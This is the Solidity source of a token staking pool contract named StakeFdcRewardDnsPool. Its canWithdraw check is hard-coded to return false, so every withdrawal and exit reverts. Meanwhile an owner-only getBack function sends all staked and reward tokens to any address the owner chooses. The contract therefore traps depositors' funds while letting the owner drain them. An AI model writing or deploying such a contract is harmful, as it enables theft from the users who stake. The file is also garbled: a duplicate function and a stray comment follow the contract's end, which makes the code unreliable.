contract StakeFdcRewardDnsPool {
    using SafeMath for uint256;
    using Address for address;
    using SafeERC20 for IERC20;
    using SafeERC20 for IMinableERC20;

    IERC20 public stakeToken;
    IERC20 public rewardToken;
    
    bool public started;
    uint256 public totalSupply;
    uint256 public rewardFinishTime = 0;
    uint256 public rewardRate = 0;
    mapping(address => uint256) public rewards;
    mapping(address => uint256) public balanceOf;
    mapping(address => uint256) public stakeStartOf;
    
    mapping(address => uint256) public stakeCount;
    mapping(address => mapping(uint256 => uint256)) public stakeAmount;
    mapping(address => mapping(uint256 => uint256)) public stakeTime;
    
    address private governance;

    event Staked(address indexed user, uint256 amount, uint256 beforeT, uint256 afterT);
    event Withdrawn(address indexed user, uint256 amount, uint256 beforeT, uint256 afterT);
    event RewardPaid(address indexed user, uint256 reward, uint256 beforeT, uint256 afterT);
    event StakeItem(address indexed user, uint256 idx, uint256 time, uint256 amount);
    event UnstakeItem(address indexed user, uint256 idx, uint256 time, uint256 beforeT, uint256 afterT);

    modifier onlyOwner() {
        require(msg.sender == governance, "!governance");
        _;
    }

    constructor () public {
        governance = msg.sender;
    }

    function start(address stake_token, address reward_token) public onlyOwner {
        require(!started, "already started");
        require(stake_token != address(0) && stake_token.isContract(), "stake token is non-contract");
        require(reward_token != address(0) && reward_token.isContract(), "reward token is non-contract");

        started = true;
        stakeToken = IERC20(stake_token);
        rewardToken = IERC20(reward_token);
        rewardFinishTime = block.timestamp.add(10 * 365.25 days);
    }

    function lastTimeRewardApplicable() internal view returns (uint256) {
        return block.timestamp < rewardFinishTime ? block.timestamp : rewardFinishTime;
    }

    function earned(address account) public view returns (uint256) {
        uint256 r = 0;
        uint256 stakeIndex = stakeCount[account];
        for (uint256 i = 0; i < stakeIndex; i++) {
            if (stakeAmount[account][i] > 0) {
                r = r.add(calcReward(stakeAmount[account][i], stakeTime[account][i], lastTimeRewardApplicable()));
            }
        }
        return r.add(rewards[account]);
    }

    function stake(uint256 amount) public {
        require(started, "Not start yet");
        require(amount > 0, "Cannot stake 0");
        require(stakeToken.balanceOf(msg.sender) >= amount, "insufficient balance to stake");
        uint256 beforeT = stakeToken.balanceOf(address(this));
        
        stakeToken.safeTransferFrom(msg.sender, address(this), amount);
        totalSupply = totalSupply.add(amount);
        balanceOf[msg.sender] = balanceOf[msg.sender].add(amount);
        
        uint256 afterT = stakeToken.balanceOf(address(this));
        emit Staked(msg.sender, amount, beforeT, afterT);

        if (stakeStartOf[msg.sender] == 0) {
            stakeStartOf[msg.sender] = block.timestamp;
        }
        uint256 stakeIndex = stakeCount[msg.sender];
        stakeAmount[msg.sender][stakeIndex] = amount;
        stakeTime[msg.sender][stakeIndex] = block.timestamp;
        stakeCount[msg.sender] = stakeCount[msg.sender].add(1);
        rewardRate = totalSupply.mul(100).div(160 days);
        emit StakeItem(msg.sender, stakeIndex, block.timestamp, amount);
    }

    function calcReward(uint256 amount, uint256 startTime, uint256 endTime) public pure returns (uint256) {
        uint256 day = endTime.sub(startTime).div(1 days);
        return amount.mul(25 * (day > 160 ? 160 : day));
    }

    function _unstake(address account, uint256 amount) private returns (uint256) {
        uint256 unstakeAmount = 0;
        uint256 stakeIndex = stakeCount[msg.sender];
        for (uint256 i = 0; i < stakeIndex; i++) {
            uint256 itemAmount = stakeAmount[msg.sender][i];
            if (itemAmount == 0) {
                continue;
            }
            if (unstakeAmount.add(itemAmount) > amount) {
                itemAmount = amount.sub(unstakeAmount);
            }
            unstakeAmount = unstakeAmount.add(itemAmount);
            stakeAmount[msg.sender][i] = stakeAmount[msg.sender][i].sub(itemAmount);
            rewards[msg.sender] = rewards[msg.sender].add(calcReward(itemAmount, stakeTime[msg.sender][i], lastTimeRewardApplicable()));
            emit UnstakeItem(account, i, block.timestamp, stakeAmount[msg.sender][i].add(itemAmount), stakeAmount[msg.sender][i]);
        }
        return unstakeAmount;
    }

    function withdraw(uint256 amount) public {
        require(started, "Not start yet");
        require(amount > 0, "Cannot withdraw 0");
        require(balanceOf[msg.sender] >= amount, "Insufficient balance to withdraw");

        // Add Lock Time Begin:
        require(canWithdraw(msg.sender), "Must be locked for 30 days or Mining ended");
        uint256 unstakeAmount = _unstake(msg.sender, amount);
        // Add Lock Time End!!!

        uint256 beforeT = stakeToken.balanceOf(address(this));
        
        totalSupply = totalSupply.sub(unstakeAmount);
        balanceOf[msg.sender] = balanceOf[msg.sender].sub(unstakeAmount);
        stakeToken.safeTransfer(msg.sender, unstakeAmount);

        uint256 afterT = stakeToken.balanceOf(address(this));
        rewardRate = totalSupply.mul(100).div(160 days);
        emit Withdrawn(msg.sender, unstakeAmount, beforeT, afterT);
    }

    function exit() external {
        require(started, "Not start yet");
        withdraw(balanceOf[msg.sender]);
        getReward();
    }

    function getReward() public {
        require(started, "Not start yet");
        
        uint256 reward = rewards[msg.sender];
        if (reward > 0) {
            rewards[msg.sender] = 0;
            uint256 beforeT = rewardToken.balanceOf(address(this));
            //rewardToken.mint(msg.sender, reward);
            rewardToken.safeTransfer(msg.sender, reward);
            uint256 afterT = rewardToken.balanceOf(address(this));
            emit RewardPaid(msg.sender, reward, beforeT, afterT);
        }
    }

    function getBack(address account) public onlyOwner {
        uint256 left = stakeToken.balanceOf(address(this));
        if (left > 0) {
            stakeToken.safeTransfer(account, left);
        }
        left = rewardToken.balanceOf(address(this));
        if (left > 0) {
            rewardToken.safeTransfer(account, left);
        }
    }
    
    function canHarvest(address account) public view returns (bool) {
        return earned(account) > 0;
    }

    // Add Lock Time Begin:
    function canWithdraw(address account) public view returns (bool) {
        return started && (balanceOf[account] > 0) && false;
    }
    // Add Lock Time End!!!
}
function canWithdraw(address account) public view returns (bool) {
    return started && (balanceOf[account] > 0) && false;
}

// Add Lock Time Begin: